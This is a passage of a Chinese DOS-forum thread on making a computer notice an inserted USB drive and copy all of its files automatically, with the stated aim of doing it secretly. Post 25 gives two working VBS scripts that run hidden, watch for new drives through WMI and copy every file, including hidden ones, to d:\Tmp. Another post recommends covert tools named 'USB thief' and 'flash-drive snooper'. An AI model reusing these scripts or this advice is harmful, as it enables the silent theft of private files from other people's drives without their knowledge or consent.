中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-07-02 17:55
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 如何判断U盘已插入并自动COPY所有内容 查看 15,630 回复 40
16 发表于 2007-02-02 07:18 ·  中国 广东 广州 番禺区 广州海之光通讯技术有限公司
初级用户
★★
积分 138
发帖 55
注册 2007-02-02 05:54
19年会员
UID 78395
性别 男
状态 离线
我也来研究一下~!
我要的是要显示,,并且提示复制成功!
是从文件夹Copy 到U盘。。。。
要是H:插入CP 到H:
要是G:插入CP 到G:
一次性来两个。。就两个全部提示。。
要是没有找U_DISK到就不Copy。。。
呵呵。。LZ 帮搞个简单的,。不要什么安装啊,什么的。。
兄弟们帮忙研究一下,,,
17 发表于 2007-02-02 08:30 ·  中国 辽宁 本溪 联通
银牌会员
★★★
积分 1,212
发帖 464
注册 2006-12-13 21:11
19年会员
UID 73417
性别 男
状态 离线
加分~

不过好像不能成功终止,不知道各位的是不是这样?
18 发表于 2007-02-02 11:21 ·  中国 浙江 电信
中级用户
★★
积分 385
发帖 156
注册 2007-01-19 02:32
19年会员
UID 76955
性别 男
状态 离线
楼主,不知我新人能不能说句话。
貌似你copy.cmd里有句代码参数不严谨。
xcopy /e /y %%i\*.* c:\copy >nul 2>nul
我觉得应该加个 /c


/C 即使有错误,也继续复制。
19 发表于 2007-02-02 11:22 ·  中国 浙江 电信
中级用户
★★
积分 385
发帖 156
注册 2007-01-19 02:32
19年会员
UID 76955
性别 男
状态 离线
本人相当佩服楼主的IDEA,更佩服各位的实力。
20 发表于 2007-02-02 11:27 ·  中国 浙江 电信
中级用户
★★
积分 385
发帖 156
注册 2007-01-19 02:32
19年会员
UID 76955
性别 男
状态 离线
reg delete "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /f >nul 2>nul
reg delete "HKEY_CLASSES_ROOT\piffile" /v IsShortcut /f >nul 2>nul

请教!删除这个是什么作用
21 发表于 2007-03-12 09:48 ·  中国 广东 东莞 电信
新手上路
积分 17
发帖 9
注册 2007-03-12 09:25
19年会员
UID 81491
性别 男
状态 离线
看不明白啊
22 发表于 2007-03-15 06:53 ·  中国 广东 东莞 电信
初级用户
积分 50
发帖 21
注册 2007-03-13 08:06
19年会员
UID 81579
性别 男
状态 离线
Originally posted by gene771771 at 2006-11-29 12:29 AM:
有个仙要我写一个批处理,先判断U盘是否已插入,要是插入就自动COPY所有内容到硬盘,而且还要悄悄的。。。我左思右想,还是想不 ...

网上有U盘大盗,还有闪盘窥探者
可以实现你所有要求,是完全隐藏运行的.
附件
1.PNG
23 发表于 2007-03-19 01:10 ·  中国 湖南 长沙 电信
新手上路
积分 9
发帖 5
注册 2007-03-19 00:24
19年会员
UID 82181
性别 男
状态 离线
用PING会不会占用太多系统资源和有时间的限制,用SLEEP有时间的限制,,

比如我改为从电脑COPY文件到移动,那就不太实用了,,要让COPY百发百中,不管

时间长短就行,

如果在不用到第三方软件的情况常驻内存那真是太好了,

顺便问一下,这个问题用C语言来实现该如何做(不在该在这里问C,不好意思)
24 发表于 2007-05-03 11:07 ·  中国 安徽 芜湖 电信
中级用户
★★
积分 247
发帖 123
注册 2007-04-17 06:29
19年会员
UID 85468
性别 男
状态 离线
回帖的真不少,是热门话题。写得太复杂了。
25 监视新增驱动器并复制其中文件到硬盘中 发表于 2007-05-03 12:41 ·  中国 广东 广州 番禺区 电信
中级用户
★★
脚本爱好者
积分 238
发帖 93
注册 2007-03-11 13:38
19年会员
UID 81417
性别 男
来自 GZ
状态 离线
其实用VBS可以完成此工作,且隐藏进行(如下例)。这个脚本的好处是,对那些识别为移动硬盘类型的U盘也可以成功复制文件。

1. 监视新增所有驱动器,并复制所有新驱动器中的文件到D盘下

'随时监视插入的U盘或移动硬盘,有则自动复制其中的所有文件到d:\Tmp中
'把 fso.CopyFile 改成 fso.CopyFolder 则可以复制文件夹
'注意:包括隐藏和系统属性的文件或文件夹均被复制
'覆盖true 不覆盖false 不能覆盖具有只读属性的文件和文件夹
'若出现多个新盘符的话,每个盘中的文件均被复制

Set fso = CreateObject("Scripting.FileSystemObject")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
& "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 3 Then
If objEvent.Path_.Class = "__InstanceCreationEvent" Then
NewDri = objEvent.TargetInstance.DeviceId
fso.CopyFile NewDri & "\*","d:\Tmp\",true
End If
End If
Loop


2.监视新增驱动器,只复制其中第1个分区中的所有文件到D盘下

Dim NewDri(9)
Set fso = CreateObject("Scripting.FileSystemObject")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
& "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 3 Then
If objEvent.Path_.Class = "__InstanceCreationEvent" Then
i=i + 1
NewDri(i) = objEvent.TargetInstance.DeviceId
fso.CopyFile NewDri(i) & "\*","d:\Tmp\",true
End If
End If
Loop
26 发表于 2007-05-03 12:52 ·  中国 湖北 武汉 联通
中级用户
★★
积分 245
发帖 103
注册 2006-06-30 00:00
20年会员
UID 57801
性别 男
状态 离线
现在对BAT和VBS看来要两手抓,两手硬才行啊……
AXI,偶对阁下的佩服犹如滔滔江水连绵不绝……
27 闪盘窥探者-好东西 发表于 2007-05-16 09:42 ·  中国 广东 珠海 电信
新手上路
积分 2
发帖 1
注册 2007-05-16 09:20
19年会员
UID 88669
性别 男
状态 离线
如何记录插入u盘后拷贝的内容,具体什么名称及内容
28 发表于 2007-06-06 10:34 ·  中国 河南 郑州 教育网
新手上路
积分 2
发帖 1
注册 2007-06-06 10:12
19年会员
UID 90407
性别 男
状态 离线
应该直接贴出源码
方便交流
29 有适用于2000的么? 发表于 2007-06-12 10:16 ·  中国 山东 滨州 电信
新手上路
积分 0
发帖 1
注册 2007-06-11 23:05
19年会员
UID 91014
性别 男
状态 离线
有适用于2000的么?
30 发表于 2007-07-03 20:09 ·  中国 江苏 宿迁 电信
初级用户
★★
Batchs上議院參議長
积分 199
发帖 105
注册 2007-06-05 12:00
19年会员
UID 90300
性别 男
来自 江苏
状态 离线
我有 u盘
顶一个
『生如夏花之绚烂
死若秋叶之静美』 dos做到了
论坛跳转: